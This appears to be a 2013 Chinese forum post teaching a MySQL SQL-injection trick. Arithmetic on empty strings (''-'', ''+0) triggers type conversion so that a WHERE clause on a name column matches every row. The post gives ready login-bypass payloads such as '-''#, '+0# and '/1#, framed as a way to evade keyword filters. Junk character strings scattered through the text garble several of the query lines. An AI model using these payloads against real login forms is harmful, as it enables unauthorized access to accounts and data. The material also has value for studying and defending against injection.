找回密码
 立即注册
查看: 2615|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。
3 |+ v9 c& W+ M1 @) f有以下表结构:
5 B+ z7 u4 x9 J! q9 s; S5 y, Z
! H8 L: @# j" g" `- Vmysql> desc admin;; l! N& r. H" K; }. w
+----------+--------------+------+-----+---------+----------------+
5 e5 J! @2 F5 }, u& ~| Field    | Type         | Null | Key | Default | Extra          |
3 T2 a- }6 q" A; ?1 R+----------+--------------+------+-----+---------+----------------+
/ ?* P# D+ g  m| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |0 `% {' \$ s' o5 g. }2 d6 k  D
| name     | char(32)     | NO   | UNI | NULL    |                |' w! v; m9 L' B0 u, L3 d
| password | char(32)     | NO   | UNI | NULL    |                |
2 I8 N( h5 q6 x; c+----------+--------------+------+-----+---------+----------------+' x' @$ L3 M! \+ s; j  t1 J
3 rows in set (0.00 sec)$ {1 }: N1 i0 ]' L+ g) Y! Z
执行select * from admin;,成功返回所有记录内容。: x& r% K# O  s2 O: r
$ K& Y  p+ }$ s$ m  b' P) q
) g8 z) C6 J+ l7 n  l8 |+ |* M* ]+ J
+----+--------+----------------------------------+6 @2 \2 C+ z! ^8 ]: ?2 T5 L7 f
| id | name   | password                         |: H+ I! M+ g5 A+ D! N
+----+--------+----------------------------------+& g& u9 q0 x( a6 W$ G
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
3 l0 m, `) M; @; |' Z|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
% X& K  ?0 E8 U5 Z1 m% ^|  4 | n00b   | ff80e8508d39047460921792273533a4 |3 L: w) K$ _+ ^; l8 w% _7 ]3 W0 u
+----+--------+----------------------------------+& \- e4 m' @7 O
3 rows in set (0.00 sec)6 Z  P" H6 W5 p
执行select * from admin where name=”;,没有匹配到任何记录。 $ o, e- B' d4 W" c7 }1 o

6 M3 ?8 a% C% O' Omysql> select * from admin where name = '';
9 H% S  U: r1 X0 m, r' B( H) aEmpty set (0.00 sec)2 v+ y6 G) ^. z0 a+ J, ~" ~
那么我们来执行select * from admin where name = ”-”;
- ~; w( m4 r3 u$ x, L+ m/ J
' K- E; x; L) Q- h
  B: q% m6 N& n6 j/ B9 p& T+----+--------+----------------------------------+
7 Y4 o& I2 I' q# h" y| id | name   | password                         |
) I. o  j' I; _3 u* K2 C2 K+----+--------+----------------------------------++ P, y) S3 j9 t- c
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
2 y+ v8 Z$ i# n! ^|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
5 h: M9 I4 a0 B4 B4 @$ W8 H; o2 ?6 ?|  4 | n00b   | ff80e8508d39047460921792273533a4 |% Y- ~% [5 W" ?0 h4 L7 n% [
+----+--------+----------------------------------+
; Y; T) ?2 r0 K! O3 rows in set, 3 warnings (0.00 sec)
, A4 p! S3 @% R! L可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: 5 q/ ~! @6 j+ Q# G. Y- [& R

  c% u  }, i, J* [+ Mmysql> show warnings;
: d, B; I' E% j2 V/ _% ?+---------+------+------------------------------------------  u/ ^: M" h0 u
| Level   | Code | Message
2 J0 o9 {9 U' V6 ^/ y' F9 E+---------+------+------------------------------------------
4 A# ?; U  v2 G" K" z& V; ]' P| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin+ S" m5 T" @& s2 Z; m
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s. N& u4 s5 |3 X  [9 b* u: D4 i7 c( J
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b- _% n/ a+ r* j' S/ z
+---------+------+------------------------------------------
# @' t6 t" @5 R# j7 Z# \: k3 rows in set (0.00 sec)3 h6 |) ]1 W) o% p- S8 L% c
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
; z5 x( L0 V* s5 j# D3 K: [& C, O& G$ o8 @% z& |
mysql> select ''-'';7 x2 e$ z% Q0 L8 Y
+-------+1 d( |( Y) r/ x9 V  ^& Z
| ''-'' |
; c, ~/ v1 {9 j+-------+0 b# O3 L9 ^. O
|     0 |4 B' Z2 T( {( t4 Y
+-------+
% D0 m$ [: o8 _8 {- U9 h1 row in set (0.00 sec)
, J* B5 }9 L, P: _8 \3 ^返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: ; K* B3 [# G, x, D) _" I4 q
& r% E4 Z9 v& K! a9 t# J& [& o
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);' q9 C; U: x8 i
+-----------------------------------------------------+/ f7 M' H( x1 y  T% `' c/ u/ g+ @
| CAST((select name from admin limit 1,1) as DECIMAL) |2 q, u. j  V. u, b6 A9 h1 W1 D
+-----------------------------------------------------+
8 [) X/ n, t* d7 C+ [6 c: I|                                                   0 |
4 N! V3 ]0 \- S% J+-----------------------------------------------------+3 N. I& r, M: l% j
1 row in set, 1 warning (0.00 sec)
2 I7 b# N. e) `2 K5 o# ?8 @. {因此where语句构成了相等的条件,where 0=”=”,记录被返回。
! @  F) i5 f. D6 x, d' ^
# [* V# \  D0 m3 C2 ^SQL注入场景: http://www.sqlzoo.net/hack/ / n5 G3 Y) q* N2 c" w  ~* N8 W
+ p( v" ^- K" O4 w

7 c: }+ R% T, D& }7 g( M' N# D$ [! M0 K9 x0 g
1 {$ K% [, \& Y; c3 v
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
  y$ H* Z  Q6 M( g# C7 w* w9 G, K! H
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 ; ?# B  T0 Q% S6 m! @, \' h8 D

. j2 i( Q! z; F7 n% Z, T9 s! I' @5 U' _  }- y' V9 Q% L

8 V5 _7 c. H- G: W9 j4 }: T+ N9 p1 _' I  f$ ~
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 + V8 P- U, J) @: e4 N5 b6 }% }

3 s4 h: ^9 g! y) Z6 Z   
4 g8 d5 }" `, ?1 R4 @
' C( B3 F2 K9 Q4 Q. ?除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可+ n! e, x/ R6 n2 t( [4 W" t- e( |
% k) B* ~+ R8 e5 y0 Y

" }, @5 ^6 |3 f1 N+ A& q7 r' [0 ~mysql> select ''/1;2 ]" t% e* f( P. H! T0 O
+------+8 T+ Q# w" a6 C4 ], V/ ~
| ''/1 |
# A7 G+ n, Y. \" L  B+ y6 ^7 Q+------+) `: j6 d$ S$ J/ q
|    0 |$ V& Z  L4 Z- A" {4 T; H2 R/ Q
+------+1 u2 m) Z% @9 b. W8 B
1 row in set (0.00 sec)
0 F& o# M7 B: d" x1 U类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
4 S, z* i, O9 {7 D3 @; `8 k' l: I
7 G2 g- D7 \* S) A( w利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。( D. }4 `7 X) ]+ U1 z5 T0 ]+ G
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表